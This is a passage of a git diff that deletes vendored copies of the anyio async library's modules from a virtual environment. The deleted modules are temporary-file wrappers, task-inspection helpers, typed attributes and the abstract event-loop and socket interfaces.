= None, - suffix: str | None = None, - prefix: str | None = None, - dir: str | None = None, - *, - errors: str | None = None, - ) -> None: - self.mode = mode - self.buffering = buffering - self.encoding = encoding - self.newline = newline - self.suffix: str | None = suffix - self.prefix: str | None = prefix - self.dir: str | None = dir - self.errors = errors - - async def __aenter__(self) -> AsyncFile[AnyStr]: - fp = await to_thread.run_sync( - lambda: tempfile.TemporaryFile( - self.mode, - self.buffering, - self.encoding, - self.newline, - self.suffix, - self.prefix, - self.dir, - errors=self.errors, - ) - ) - self._async_file = AsyncFile(fp) - return self._async_file - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - traceback: TracebackType | None, - ) -> None: - await self._async_file.aclose() - - -class NamedTemporaryFile(Generic[AnyStr]): - """ - An asynchronous named temporary file that is automatically created and cleaned up. - - This class provides an asynchronous context manager for a temporary file with a - visible name in the file system. It uses Python's standard - :func:`~tempfile.NamedTemporaryFile` function and wraps the file object with - :class:`AsyncFile` for asynchronous operations. - - :param mode: The mode in which the file is opened. Defaults to "w+b". - :param buffering: The buffering policy (-1 means the default buffering). - :param encoding: The encoding used to decode or encode the file. Only applicable in - text mode. - :param newline: Controls how universal newlines mode works (only applicable in text - mode). - :param suffix: The suffix for the temporary file name. - :param prefix: The prefix for the temporary file name. - :param dir: The directory in which the temporary file is created. - :param delete: Whether to delete the file when it is closed. - :param errors: The error handling scheme used for encoding/decoding errors. - :param delete_on_close: (Python 3.12+) Whether to delete the file on close. - """ - - _async_file: AsyncFile[AnyStr] - - @overload - def __init__( - self: NamedTemporaryFile[bytes], - mode: OpenBinaryMode = ..., - buffering: int = ..., - encoding: str | None = ..., - newline: str | None = ..., - suffix: str | None = ..., - prefix: str | None = ..., - dir: str | None = ..., - delete: bool = ..., - *, - errors: str | None = ..., - delete_on_close: bool = ..., - ): ... - @overload - def __init__( - self: NamedTemporaryFile[str], - mode: OpenTextMode, - buffering: int = ..., - encoding: str | None = ..., - newline: str | None = ..., - suffix: str | None = ..., - prefix: str | None = ..., - dir: str | None = ..., - delete: bool = ..., - *, - errors: str | None = ..., - delete_on_close: bool = ..., - ): ... - - def __init__( - self, - mode: OpenBinaryMode | OpenTextMode = "w+b", - buffering: int = -1, - encoding: str | None = None, - newline: str | None = None, - suffix: str | None = None, - prefix: str | None = None, - dir: str | None = None, - delete: bool = True, - *, - errors: str | None = None, - delete_on_close: bool = True, - ) -> None: - self._params: dict[str, Any] = { - "mode": mode, - "buffering": buffering, - "encoding": encoding, - "newline": newline, - "suffix": suffix, - "prefix": prefix, - "dir": dir, - "delete": delete, - "errors": errors, - } - if sys.version_info >= (3, 12): - self._params["delete_on_close"] = delete_on_close - - async def __aenter__(self) -> AsyncFile[AnyStr]: - fp = await to_thread.run_sync( - lambda: tempfile.NamedTemporaryFile(**self._params) - ) - self._async_file = AsyncFile(fp) - return self._async_file - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - traceback: TracebackType | None, - ) -> None: - await self._async_file.aclose() - - -class SpooledTemporaryFile(AsyncFile[AnyStr]): - """ - An asynchronous spooled temporary file that starts in memory and is spooled to disk. - - This class provides an asynchronous interface to a spooled temporary file, much like - Python's standard :class:`~tempfile.SpooledTemporaryFile`. It supports asynchronous - write operations and provides a method to force a rollover to disk. - - :param max_size: Maximum size in bytes before the file is rolled over to disk. - :param mode: The mode in which the file is opened. Defaults to "w+b". - :param buffering: The buffering policy (-1 means the default buffering). - :param encoding: The encoding used to decode or encode the file (text mode only). - :param newline: Controls how universal newlines mode works (text mode only). - :param suffix: The suffix for the temporary file name. - :param prefix: The prefix for the temporary file name. - :param dir: The directory in which the temporary file is created. - :param errors: The error handling scheme used for encoding/decoding errors. - """ - - _rolled: bool = False - - @overload - def __init__( - self: SpooledTemporaryFile[bytes], - max_size: int = ..., - mode: OpenBinaryMode = ..., - buffering: int = ..., - encoding: str | None = ..., - newline: str | None = ..., - suffix: str | None = ..., - prefix: str | None = ..., - dir: str | None = ..., - *, - errors: str | None = ..., - ): ... - @overload - def __init__( - self: SpooledTemporaryFile[str], - max_size: int = ..., - mode: OpenTextMode = ..., - buffering: int = ..., - encoding: str | None = ..., - newline: str | None = ..., - suffix: str | None = ..., - prefix: str | None = ..., - dir: str | None = ..., - *, - errors: str | None = ..., - ): ... - - def __init__( - self, - max_size: int = 0, - mode: OpenBinaryMode | OpenTextMode = "w+b", - buffering: int = -1, - encoding: str | None = None, - newline: str | None = None, - suffix: str | None = None, - prefix: str | None = None, - dir: str | None = None, - *, - errors: str | None = None, - ) -> None: - self._tempfile_params: dict[str, Any] = { - "mode": mode, - "buffering": buffering, - "encoding": encoding, - "newline": newline, - "suffix": suffix, - "prefix": prefix, - "dir": dir, - "errors": errors, - } - self._max_size = max_size - if "b" in mode: - super().__init__(BytesIO()) # type: ignore[arg-type] - else: - super().__init__( - TextIOWrapper( # type: ignore[arg-type] - BytesIO(), - encoding=encoding, - errors=errors, - newline=newline, - write_through=True, - ) - ) - - async def aclose(self) -> None: - if not self._rolled: - self._fp.close() - return - - await super().aclose() - - async def _check(self) -> None: - if self._rolled or self._fp.tell() <= self._max_size: - return - - await self.rollover() - - async def rollover(self) -> None: - if self._rolled: - return - - self._rolled = True - buffer = self._fp - buffer.seek(0) - self._fp = await to_thread.run_sync( - lambda: tempfile.TemporaryFile(**self._tempfile_params) - ) - await self.write(buffer.read()) - buffer.close() - - @property - def closed(self) -> bool: - return self._fp.closed - - async def read(self, size: int = -1) -> AnyStr: - if not self._rolled: - await checkpoint_if_cancelled() - return self._fp.read(size) - - return await super().read(size) # type: ignore[return-value] - - async def read1(self: SpooledTemporaryFile[bytes], size: int = -1) -> bytes: - if not self._rolled: - await checkpoint_if_cancelled() - return self._fp.read1(size) - - return await super().read1(size) - - async def readline(self) -> AnyStr: - if not self._rolled: - await checkpoint_if_cancelled() - return self._fp.readline() - - return await super().readline() # type: ignore[return-value] - - async def readlines(self) -> list[AnyStr]: - if not self._rolled: - await checkpoint_if_cancelled() - return self._fp.readlines() - - return await super().readlines() # type: ignore[return-value] - - async def readinto(self: SpooledTemporaryFile[bytes], b: WriteableBuffer) -> int: - if not self._rolled: - await checkpoint_if_cancelled() - self._fp.readinto(b) - - return await super().readinto(b) - - async def readinto1(self: SpooledTemporaryFile[bytes], b: WriteableBuffer) -> int: - if not self._rolled: - await checkpoint_if_cancelled() - self._fp.readinto(b) - - return await super().readinto1(b) - - async def seek(self, offset: int, whence: int | None = os.SEEK_SET) -> int: - if not self._rolled: - await checkpoint_if_cancelled() - return self._fp.seek(offset, whence) - - return await super().seek(offset, whence) - - async def tell(self) -> int: - if not self._rolled: - await checkpoint_if_cancelled() - return self._fp.tell() - - return await super().tell() - - async def truncate(self, size: int | None = None) -> int: - if not self._rolled: - await checkpoint_if_cancelled() - return self._fp.truncate(size) - - return await super().truncate(size) - - @overload - async def write(self: SpooledTemporaryFile[bytes], b: ReadableBuffer) -> int: ... - @overload - async def write(self: SpooledTemporaryFile[str], b: str) -> int: ... - - async def write(self, b: ReadableBuffer | str) -> int: - """ - Asynchronously write data to the spooled temporary file. - - If the file has not yet been rolled over, the data is written synchronously, - and a rollover is triggered if the size exceeds the maximum size. - - :param s: The data to write. - :return: The number of bytes written. - :raises RuntimeError: If the underlying file is not initialized. - - """ - if not self._rolled: - await checkpoint_if_cancelled() - result = self._fp.write(b) - await self._check() - return result - - return await super().write(b) # type: ignore[misc] - - @overload - async def writelines( - self: SpooledTemporaryFile[bytes], lines: Iterable[ReadableBuffer] - ) -> None: ... - @overload - async def writelines( - self: SpooledTemporaryFile[str], lines: Iterable[str] - ) -> None: ... - - async def writelines(self, lines: Iterable[str] | Iterable[ReadableBuffer]) -> None: - """ - Asynchronously write a list of lines to the spooled temporary file. - - If the file has not yet been rolled over, the lines are written synchronously, - and a rollover is triggered if the size exceeds the maximum size. - - :param lines: An iterable of lines to write. - :raises RuntimeError: If the underlying file is not initialized. - - """ - if not self._rolled: - await checkpoint_if_cancelled() - result = self._fp.writelines(lines) - await self._check() - return result - - return await super().writelines(lines) # type: ignore[misc] - - -class TemporaryDirectory(Generic[AnyStr]): - """ - An asynchronous temporary directory that is created and cleaned up automatically. - - This class provides an asynchronous context manager for creating a temporary - directory. It wraps Python's standard :class:`~tempfile.TemporaryDirectory` to - perform directory creation and cleanup operations in a background thread. - - :param suffix: Suffix to be added to the temporary directory name. - :param prefix: Prefix to be added to the temporary directory name. - :param dir: The parent directory where the temporary directory is created. - :param ignore_cleanup_errors: Whether to ignore errors during cleanup - :param delete: Whether to delete the directory upon closing (Python 3.12+). - """ - - def __init__( - self, - suffix: AnyStr | None = None, - prefix: AnyStr | None = None, - dir: AnyStr | None = None, - *, - ignore_cleanup_errors: bool = False, - delete: bool = True, - ) -> None: - self.suffix: AnyStr | None = suffix - self.prefix: AnyStr | None = prefix - self.dir: AnyStr | None = dir - self.ignore_cleanup_errors = ignore_cleanup_errors - self.delete = delete - - self._tempdir: tempfile.TemporaryDirectory | None = None - - async def __aenter__(self) -> str: - params: dict[str, Any] = { - "suffix": self.suffix, - "prefix": self.prefix, - "dir": self.dir, - "ignore_cleanup_errors": self.ignore_cleanup_errors, - } - if sys.version_info >= (3, 12): - params["delete"] = self.delete - - self._tempdir = await to_thread.run_sync( - lambda: tempfile.TemporaryDirectory(**params) - ) - return await to_thread.run_sync(self._tempdir.__enter__) - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - traceback: TracebackType | None, - ) -> None: - if self._tempdir is not None: - await to_thread.run_sync( - self._tempdir.__exit__, exc_type, exc_value, traceback - ) - - async def cleanup(self) -> None: - if self._tempdir is not None: - await to_thread.run_sync(self._tempdir.cleanup) - - -@overload -async def mkstemp( - suffix: str | None = None, - prefix: str | None = None, - dir: str | None = None, - text: bool = False, -) -> tuple[int, str]: ... - - -@overload -async def mkstemp( - suffix: bytes | None = None, - prefix: bytes | None = None, - dir: bytes | None = None, - text: bool = False, -) -> tuple[int, bytes]: ... - - -async def mkstemp( - suffix: AnyStr | None = None, - prefix: AnyStr | None = None, - dir: AnyStr | None = None, - text: bool = False, -) -> tuple[int, str | bytes]: - """ - Asynchronously create a temporary file and return an OS-level handle and the file - name. - - This function wraps `tempfile.mkstemp` and executes it in a background thread. - - :param suffix: Suffix to be added to the file name. - :param prefix: Prefix to be added to the file name. - :param dir: Directory in which the temporary file is created. - :param text: Whether the file is opened in text mode. - :return: A tuple containing the file descriptor and the file name. - - """ - return await to_thread.run_sync(tempfile.mkstemp, suffix, prefix, dir, text) - - -@overload -async def mkdtemp( - suffix: str | None = None, - prefix: str | None = None, - dir: str | None = None, -) -> str: ... - - -@overload -async def mkdtemp( - suffix: bytes | None = None, - prefix: bytes | None = None, - dir: bytes | None = None, -) -> bytes: ... - - -async def mkdtemp( - suffix: AnyStr | None = None, - prefix: AnyStr | None = None, - dir: AnyStr | None = None, -) -> str | bytes: - """ - Asynchronously create a temporary directory and return its path. - - This function wraps `tempfile.mkdtemp` and executes it in a background thread. - - :param suffix: Suffix to be added to the directory name. - :param prefix: Prefix to be added to the directory name. - :param dir: Parent directory where the temporary directory is created. - :return: The path of the created temporary directory. - - """ - return await to_thread.run_sync(tempfile.mkdtemp, suffix, prefix, dir) - - -async def gettempdir() -> str: - """ - Asynchronously return the name of the directory used for temporary files. - - This function wraps `tempfile.gettempdir` and executes it in a background thread. - - :return: The path of the temporary directory as a string. - - """ - return await to_thread.run_sync(tempfile.gettempdir) - - -async def gettempdirb() -> bytes: - """ - Asynchronously return the name of the directory used for temporary files in bytes. - - This function wraps `tempfile.gettempdirb` and executes it in a background thread. - - :return: The path of the temporary directory as bytes. - - """ - return await to_thread.run_sync(tempfile.gettempdirb) diff --git a/venv/Lib/site-packages/anyio/_core/_testing.py b/venv/Lib/site-packages/anyio/_core/_testing.py deleted file mode 100644 index 369e65c068a426e99b7e8571209e80ce35b71f47..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/_core/_testing.py +++ /dev/null @@ -1,82 +0,0 @@ -from __future__ import annotations - -from collections.abc import Awaitable, Generator -from typing import Any, cast - -from ._eventloop import get_async_backend - - -class TaskInfo: - """ - Represents an asynchronous task. - - :ivar int id: the unique identifier of the task - :ivar parent_id: the identifier of the parent task, if any - :vartype parent_id: Optional[int] - :ivar str name: the description of the task (if any) - :ivar ~collections.abc.Coroutine coro: the coroutine object of the task - """ - - __slots__ = "_name", "id", "parent_id", "name", "coro" - - def __init__( - self, - id: int, - parent_id: int | None, - name: str | None, - coro: Generator[Any, Any, Any] | Awaitable[Any], - ): - func = get_current_task - self._name = f"{func.__module__}.{func.__qualname__}" - self.id: int = id - self.parent_id: int | None = parent_id - self.name: str | None = name - self.coro: Generator[Any, Any, Any] | Awaitable[Any] = coro - - def __eq__(self, other: object) -> bool: - if isinstance(other, TaskInfo): - return self.id == other.id - - return NotImplemented - - def __hash__(self) -> int: - return hash(self.id) - - def __repr__(self) -> str: - return f"{self.__class__.__name__}(id={self.id!r}, name={self.name!r})" - - def has_pending_cancellation(self) -> bool: - """ - Return ``True`` if the task has a cancellation pending, ``False`` otherwise. - - """ - return False - - -def get_current_task() -> TaskInfo: - """ - Return the current task. - - :return: a representation of the current task - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - - """ - return get_async_backend().get_current_task() - - -def get_running_tasks() -> list[TaskInfo]: - """ - Return a list of running tasks in the current event loop. - - :return: a list of task info objects - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - - """ - return cast("list[TaskInfo]", get_async_backend().get_running_tasks()) - - -async def wait_all_tasks_blocked() -> None: - """Wait until all other tasks are waiting for something.""" - await get_async_backend().wait_all_tasks_blocked() diff --git a/venv/Lib/site-packages/anyio/_core/_typedattr.py b/venv/Lib/site-packages/anyio/_core/_typedattr.py deleted file mode 100644 index f358a448cb12739fd4eda4f4859d3a24ddd1de63..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/_core/_typedattr.py +++ /dev/null @@ -1,81 +0,0 @@ -from __future__ import annotations - -from collections.abc import Callable, Mapping -from typing import Any, TypeVar, final, overload - -from ._exceptions import TypedAttributeLookupError - -T_Attr = TypeVar("T_Attr") -T_Default = TypeVar("T_Default") -undefined = object() - - -def typed_attribute() -> Any: - """Return a unique object, used to mark typed attributes.""" - return object() - - -class TypedAttributeSet: - """ - Superclass for typed attribute collections. - - Checks that every public attribute of every subclass has a type annotation. - """ - - def __init_subclass__(cls) -> None: - annotations: dict[str, Any] = getattr(cls, "__annotations__", {}) - for attrname in dir(cls): - if not attrname.startswith("_") and attrname not in annotations: - raise TypeError( - f"Attribute {attrname!r} is missing its type annotation" - ) - - super().__init_subclass__() - - -class TypedAttributeProvider: - """Base class for classes that wish to provide typed extra attributes.""" - - @property - def extra_attributes(self) -> Mapping[T_Attr, Callable[[], T_Attr]]: - """ - A mapping of the extra attributes to callables that return the corresponding - values. - - If the provider wraps another provider, the attributes from that wrapper should - also be included in the returned mapping (but the wrapper may override the - callables from the wrapped instance). - - """ - return {} - - @overload - def extra(self, attribute: T_Attr) -> T_Attr: ... - - @overload - def extra(self, attribute: T_Attr, default: T_Default) -> T_Attr | T_Default: ... - - @final - def extra(self, attribute: Any, default: object = undefined) -> object: - """ - extra(attribute, default=undefined) - - Return the value of the given typed extra attribute. - - :param attribute: the attribute (member of a :class:`~TypedAttributeSet`) to - look for - :param default: the value that should be returned if no value is found for the - attribute - :raises ~anyio.TypedAttributeLookupError: if the search failed and no default - value was given - - """ - try: - getter = self.extra_attributes[attribute] - except KeyError: - if default is undefined: - raise TypedAttributeLookupError("Attribute not found") from None - else: - return default - - return getter() diff --git a/venv/Lib/site-packages/anyio/abc/__init__.py b/venv/Lib/site-packages/anyio/abc/__init__.py deleted file mode 100644 index d560ce3f1fa45a7ee4a3bc8958aa59702caa9d0c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/abc/__init__.py +++ /dev/null @@ -1,58 +0,0 @@ -from __future__ import annotations - -from ._eventloop import AsyncBackend as AsyncBackend -from ._resources import AsyncResource as AsyncResource -from ._sockets import ConnectedUDPSocket as ConnectedUDPSocket -from ._sockets import ConnectedUNIXDatagramSocket as ConnectedUNIXDatagramSocket -from ._sockets import IPAddressType as IPAddressType -from ._sockets import IPSockAddrType as IPSockAddrType -from ._sockets import SocketAttribute as SocketAttribute -from ._sockets import SocketListener as SocketListener -from ._sockets import SocketStream as SocketStream -from ._sockets import UDPPacketType as UDPPacketType -from ._sockets import UDPSocket as UDPSocket -from ._sockets import UNIXDatagramPacketType as UNIXDatagramPacketType -from ._sockets import UNIXDatagramSocket as UNIXDatagramSocket -from ._sockets import UNIXSocketStream as UNIXSocketStream -from ._streams import AnyByteReceiveStream as AnyByteReceiveStream -from ._streams import AnyByteSendStream as AnyByteSendStream -from ._streams import AnyByteStream as AnyByteStream -from ._streams import AnyByteStreamConnectable as AnyByteStreamConnectable -from ._streams import AnyUnreliableByteReceiveStream as AnyUnreliableByteReceiveStream -from ._streams import AnyUnreliableByteSendStream as AnyUnreliableByteSendStream -from ._streams import AnyUnreliableByteStream as AnyUnreliableByteStream -from ._streams import ByteReceiveStream as ByteReceiveStream -from ._streams import ByteSendStream as ByteSendStream -from ._streams import ByteStream as ByteStream -from ._streams import ByteStreamConnectable as ByteStreamConnectable -from ._streams import Listener as Listener -from ._streams import ObjectReceiveStream as ObjectReceiveStream -from ._streams import ObjectSendStream as ObjectSendStream -from ._streams import ObjectStream as ObjectStream -from ._streams import ObjectStreamConnectable as ObjectStreamConnectable -from ._streams import UnreliableObjectReceiveStream as UnreliableObjectReceiveStream -from ._streams import UnreliableObjectSendStream as UnreliableObjectSendStream -from ._streams import UnreliableObjectStream as UnreliableObjectStream -from ._subprocesses import Process as Process -from ._tasks import TaskGroup as TaskGroup -from ._tasks import TaskStatus as TaskStatus -from ._testing import TestRunner as TestRunner - -# Re-exported here, for backwards compatibility -# isort: off -from .._core._synchronization import ( - CapacityLimiter as CapacityLimiter, - Condition as Condition, - Event as Event, - Lock as Lock, - Semaphore as Semaphore, -) -from .._core._tasks import CancelScope as CancelScope -from ..from_thread import BlockingPortal as BlockingPortal - -# Re-export imports so they look like they live directly in this package -for __value in list(locals().values()): - if getattr(__value, "__module__", "").startswith("anyio.abc."): - __value.__module__ = __name__ - -del __value diff --git a/venv/Lib/site-packages/anyio/abc/_eventloop.py b/venv/Lib/site-packages/anyio/abc/_eventloop.py deleted file mode 100644 index cad3fa76370ff573469c1c52fd82d2eff0bc83eb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/abc/_eventloop.py +++ /dev/null @@ -1,410 +0,0 @@ -from __future__ import annotations - -import math -import sys -from abc import ABCMeta, abstractmethod -from collections.abc import AsyncIterator, Awaitable, Callable, Coroutine, Sequence -from contextlib import AbstractContextManager -from os import PathLike -from signal import Signals -from socket import AddressFamily, SocketKind, socket -from typing import ( - IO, - TYPE_CHECKING, - Any, - TypeAlias, - TypeVar, - overload, -) - -if sys.version_info >= (3, 11): - from typing import TypeVarTuple, Unpack -else: - from typing_extensions import TypeVarTuple, Unpack - -if TYPE_CHECKING: - from _typeshed import FileDescriptorLike - - from .._core._synchronization import CapacityLimiter, Event, Lock, Semaphore - from .._core._tasks import CancelScope - from .._core._testing import TaskInfo - from ._sockets import ( - ConnectedUDPSocket, - ConnectedUNIXDatagramSocket, - IPSockAddrType, - SocketListener, - SocketStream, - UDPSocket, - UNIXDatagramSocket, - UNIXSocketStream, - ) - from ._subprocesses import Process - from ._tasks import TaskGroup - from ._testing import TestRunner - -T_Retval = TypeVar("T_Retval") -T_co = TypeVar("T_co", covariant=True) -PosArgsT = TypeVarTuple("PosArgsT") -StrOrBytesPath: TypeAlias = str | bytes | PathLike[str] | PathLike[bytes] - - -class AsyncBackend(metaclass=ABCMeta): - @classmethod - @abstractmethod - def run( - cls, - func: Callable[[Unpack[PosArgsT]], Awaitable[T_Retval]], - args: tuple[Unpack[PosArgsT]], - kwargs: dict[str, Any], - options: dict[str, Any], - ) -> T_Retval: - """ - Run the given coroutine function in an asynchronous event loop. - - The current thread must not be already running an event loop. - - :param func: a coroutine function - :param args: positional arguments to ``func`` - :param kwargs: positional arguments to ``func`` - :param options: keyword arguments to call the backend ``run()`` implementation - with - :return: the return value of the coroutine function - """ - - @classmethod - @abstractmethod - def current_token(cls) -> object: - """ - Return an object that allows other threads to run code inside the event loop. - - :return: a token object, specific to the event loop running in the current - thread - """ - - @classmethod - @abstractmethod - def current_time(cls) -> float: - """ - Return the current value of the event loop's internal clock. - - :return: the clock value (seconds) - """ - - @classmethod - @abstractmethod - def cancelled_exception_class(cls) -> type[BaseException]: - """Return the exception class that is raised in a task if it's cancelled.""" - - @classmethod - @abstractmethod - async def checkpoint(cls) -> None: - """ - Check if the task has been cancelled, and allow rescheduling of other tasks. - - This is effectively the same as running :meth:`checkpoint_if_cancelled` and then - :meth:`cancel_shielded_checkpoint`. - """ - - @classmethod - async def checkpoint_if_cancelled(cls) -> None: - """ - Check if the current task group has been cancelled. - - This will check if the task has been cancelled, but will not allow other tasks - to be scheduled if not. - - """ - if cls.current_effective_deadline() == -math.inf: - await cls.checkpoint() - - @classmethod - async def cancel_shielded_checkpoint(cls) -> None: - """ - Allow the rescheduling of other tasks. - - This will give other tasks the opportunity to run, but without checking if the - current task group has been cancelled, unlike with :meth:`checkpoint`. - - """ - with cls.create_cancel_scope(shield=True): - await cls.sleep(0) - - @classmethod - @abstractmethod - async def sleep(cls, delay: float) -> None: - """ - Pause the current task for the specified duration. - - :param delay: the duration, in seconds - """ - - @classmethod - @abstractmethod - def create_cancel_scope( - cls, *, deadline: float = math.inf, shield: bool = False - ) -> CancelScope: - pass - - @classmethod - @abstractmethod - def current_effective_deadline(cls) -> float: - """ - Return the nearest deadline among all the cancel scopes effective for the - current task. - - :return: - - a clock value from the event loop's internal clock - - ``inf`` if there is no deadline in effect - - ``-inf`` if the current scope has been cancelled - :rtype: float - """ - - @classmethod - @abstractmethod - def create_task_group(cls) -> TaskGroup: - pass - - @classmethod - @abstractmethod - def create_event(cls) -> Event: - pass - - @classmethod - @abstractmethod - def create_lock(cls, *, fast_acquire: bool) -> Lock: - pass - - @classmethod - @abstractmethod - def create_semaphore( - cls, - initial_value: int, - *, - max_value: int | None = None, - fast_acquire: bool = False, - ) -> Semaphore: - pass - - @classmethod - @abstractmethod - def create_capacity_limiter(cls, total_tokens: float) -> CapacityLimiter: - pass - - @classmethod - @abstractmethod - async def run_sync_in_worker_thread( - cls, - func: Callable[[Unpack[PosArgsT]], T_Retval], - args: tuple[Unpack[PosArgsT]], - abandon_on_cancel: bool = False, - limiter: CapacityLimiter | None = None, - ) -> T_Retval: - pass - - @classmethod - @abstractmethod - def check_cancelled(cls) -> None: - pass - - @classmethod - @abstractmethod - def run_async_from_thread( - cls, - func: Callable[[Unpack[PosArgsT]], Coroutine[Any, Any, T_co]], - args: tuple[Unpack[PosArgsT]], - token: object, - ) -> T_co: - pass - - @classmethod - @abstractmethod - def run_sync_from_thread( - cls, - func: Callable[[Unpack[PosArgsT]], T_Retval], - args: tuple[Unpack[PosArgsT]], - token: object, - ) -> T_Retval: - pass - - @classmethod - @abstractmethod - async def open_process( - cls, - command: StrOrBytesPath | Sequence[StrOrBytesPath], - *, - stdin: int | IO[Any] | None, - stdout: int | IO[Any] | None, - stderr: int | IO[Any] | None, - **kwargs: Any, - ) -> Process: - pass - - @classmethod - @abstractmethod - def setup_process_pool_exit_at_shutdown(cls, workers: set[Process]) -> None: - pass - - @classmethod - @abstractmethod - async def connect_tcp( - cls, host: str, port: int, local_address: IPSockAddrType | None = None - ) -> SocketStream: - pass - - @classmethod - @abstractmethod - async def connect_unix(cls, path: str | bytes) -> UNIXSocketStream: - pass - - @classmethod - @abstractmethod - def create_tcp_listener(cls, sock: socket) -> SocketListener: - pass - - @classmethod - @abstractmethod - def create_unix_listener(cls, sock: socket) -> SocketListener: - pass - - @classmethod - @abstractmethod - async def create_udp_socket( - cls, - family: AddressFamily, - local_address: IPSockAddrType | None, - remote_address: IPSockAddrType | None, - reuse_port: bool, - ) -> UDPSocket | ConnectedUDPSocket: - pass - - @classmethod - @overload - async def create_unix_datagram_socket( - cls, raw_socket: socket, remote_path: None - ) -> UNIXDatagramSocket: ... - - @classmethod - @overload - async def create_unix_datagram_socket( - cls, raw_socket: socket, remote_path: str | bytes - ) -> ConnectedUNIXDatagramSocket: ... - - @classmethod - @abstractmethod - async def create_unix_datagram_socket( - cls, raw_socket: socket, remote_path: str | bytes | None - ) -> UNIXDatagramSocket | ConnectedUNIXDatagramSocket: - pass - - @classmethod - @abstractmethod - async def getaddrinfo( - cls, - host: bytes | str | None, - port: str | int | None, - *, - family: int | AddressFamily = 0, - type: int | SocketKind = 0, - proto: int = 0, - flags: int = 0, - ) -> Sequence[ - tuple[ - AddressFamily, - SocketKind, - int, - str, - tuple[str, int] | tuple[str, int, int, int] | tuple[int, bytes], - ] - ]: - pass - - @classmethod - @abstractmethod - async def getnameinfo( - cls, sockaddr: IPSockAddrType, flags: int = 0 - ) -> tuple[str, str]: - pass - - @classmethod - @abstractmethod - async def wait_readable(cls, obj: FileDescriptorLike) -> None: - pass - - @classmethod - @abstractmethod - async def wait_writable(cls, obj: FileDescriptorLike) -> None: - pass - - @classmethod - @abstractmethod - def notify_closing(cls, obj: FileDescriptorLike) -> None: - pass - - @classmethod - @abstractmethod - async def wrap_listener_socket(cls, sock: socket) -> SocketListener: - pass - - @classmethod - @abstractmethod - async def wrap_stream_socket(cls, sock: socket) -> SocketStream: - pass - - @classmethod - @abstractmethod - async def wrap_unix_stream_socket(cls, sock: socket) -> UNIXSocketStream: - pass - - @classmethod - @abstractmethod - async def wrap_udp_socket(cls, sock: socket) -> UDPSocket: - pass - - @classmethod - @abstractmethod - async def wrap_connected_udp_socket(cls, sock: socket) -> ConnectedUDPSocket: - pass - - @classmethod - @abstractmethod - async def wrap_unix_datagram_socket(cls, sock: socket) -> UNIXDatagramSocket: - pass - - @classmethod - @abstractmethod - async def wrap_connected_unix_datagram_socket( - cls, sock: socket - ) -> ConnectedUNIXDatagramSocket: - pass - - @classmethod - @abstractmethod - def current_default_thread_limiter(cls) -> CapacityLimiter: - pass - - @classmethod - @abstractmethod - def open_signal_receiver( - cls, *signals: Signals - ) -> AbstractContextManager[AsyncIterator[Signals]]: - pass - - @classmethod - @abstractmethod - def get_current_task(cls) -> TaskInfo: - pass - - @classmethod - @abstractmethod - def get_running_tasks(cls) -> Sequence[TaskInfo]: - pass - - @classmethod - @abstractmethod - async def wait_all_tasks_blocked(cls) -> None: - pass - - @classmethod - @abstractmethod - def create_test_runner(cls, options: dict[str, Any]) -> TestRunner: - pass diff --git a/venv/Lib/site-packages/anyio/abc/_resources.py b/venv/Lib/site-packages/anyio/abc/_resources.py deleted file mode 100644 index 10df115a7b9f975493476da763cc1e26dbd822e5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/abc/_resources.py +++ /dev/null @@ -1,33 +0,0 @@ -from __future__ import annotations - -from abc import ABCMeta, abstractmethod -from types import TracebackType -from typing import TypeVar - -T = TypeVar("T") - - -class AsyncResource(metaclass=ABCMeta): - """ - Abstract base class for all closeable asynchronous resources. - - Works as an asynchronous context manager which returns the instance itself on enter, - and calls :meth:`aclose` on exit. - """ - - __slots__ = () - - async def __aenter__(self: T) -> T: - return self - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - await self.aclose() - - @abstractmethod - async def aclose(self) -> None: - """Close the resource.""" diff --git a/venv/Lib/site-packages/anyio/abc/_sockets.py b/venv/Lib/site-packages/anyio/abc/_sockets.py deleted file mode 100644 index feb26bd44a240acb20fd0f2498dff5631b8e2fb3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/abc/_sockets.py +++ /dev/null @@ -1,399 +0,0 @@ -from __future__ import annotations - -import errno -import socket -from abc import abstractmethod -from collections.abc import Callable, Collection, Mapping -from contextlib import AsyncExitStack -from io import IOBase -from ipaddress import IPv4Address, IPv6Address -from socket import AddressFamily -from typing import Any, TypeAlias, TypeVar - -from .._core._eventloop import get_async_backend -from .._core._typedattr import ( - TypedAttributeProvider, - TypedAttributeSet, - typed_attribute, -) -from ._streams import ByteStream, Listener, UnreliableObjectStream -from ._tasks import TaskGroup - -IPAddressType: TypeAlias = str | IPv4Address | IPv6Address -IPSockAddrType: TypeAlias = tuple[str, int] -SockAddrType: TypeAlias = IPSockAddrType | str -UDPPacketType: TypeAlias = tuple[bytes, IPSockAddrType] -UNIXDatagramPacketType: TypeAlias = tuple[bytes, str] -T_Retval = TypeVar("T_Retval") - - -def _validate_socket( - sock_or_fd: socket.socket | int, - sock_type: socket.SocketKind, - addr_family: socket.AddressFamily = socket.AF_UNSPEC, - *, - require_connected: bool = False, - require_bound: bool = False, -) -> socket.socket: - if isinstance(sock_or_fd, int): - try: - sock = socket.socket(fileno=sock_or_fd) - except OSError as exc: - if exc.errno == errno.ENOTSOCK: - raise ValueError( - "the file descriptor does not refer to a socket" - ) from exc - elif require_connected: - raise ValueError("the socket must be connected") from exc - elif require_bound: - raise ValueError("the socket must be bound to a local address") from exc - else: - raise - elif isinstance(sock_or_fd, socket.socket): - sock = sock_or_fd - else: - raise TypeError( - f"expected an int or socket, got {type(sock_or_fd).__qualname__} instead" - ) - - try: - if require_connected: - try: - sock.getpeername() - except OSError as exc: - raise ValueError("the socket must be connected") from exc - - if require_bound: - try: - if sock.family in (socket.AF_INET, socket.AF_INET6): - bound_addr = sock.getsockname()[1] - else: - bound_addr = sock.getsockname() - except 